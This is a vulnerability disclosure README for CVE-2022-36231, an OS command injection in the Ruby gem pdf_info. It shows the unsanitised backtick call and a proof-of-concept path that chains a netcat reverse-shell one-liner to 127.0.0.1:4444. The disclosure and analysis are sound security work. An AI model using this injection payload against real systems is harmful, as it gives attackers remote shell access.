Git Product home page Git Product logo

cve-2022-36231's Introduction

CVE-2022-36231

The ruby gem pdf_info <= 0.5.3 is vulnerable to OS Command Injection when executing a method on a PDF::Info object.

An attacker using a specially crafted payload may execute OS commands by using command chaining.

Vulnerability Analysis

When creating a new PDF::Info object the initialize command is called

def initialize(pdf_path)
  @pdf_path = pdf_path
end

During object initalization there is no validation performed and the user provided path is used.

We can create a PDF::Info object and return the metadta of a PDF with the following.

#!/usr/bin/env ruby

require 'pdf/info'

info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata

When we call the metadata method on the PDF::Info object a call is made to the process_output method with the argument passed being the command method.

The command method makes use of the @pdf_info class variable to execute the pdfinfo command on the system using the following code snippet to return the output of the command.

output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`

As with the initialize method there is no validation performed on the @pdf_path variable. This allows us to make use of command chaining with ; to execute an arbitrary command.

info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')

pp info.metadata

The above code snippet will execute a reverse shell to 127.0.0.1 on port 4444

Shell

Disclosure Details

  • 2022-07-20 :: Reported to Vendor
  • 2022-08-30 :: Follow up with Vendor
  • 2022-09-30 :: Apply for CVE
  • 2022-10-26 :: Publish Vulnerability

cve-2022-36231's People

Contributors

affix avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.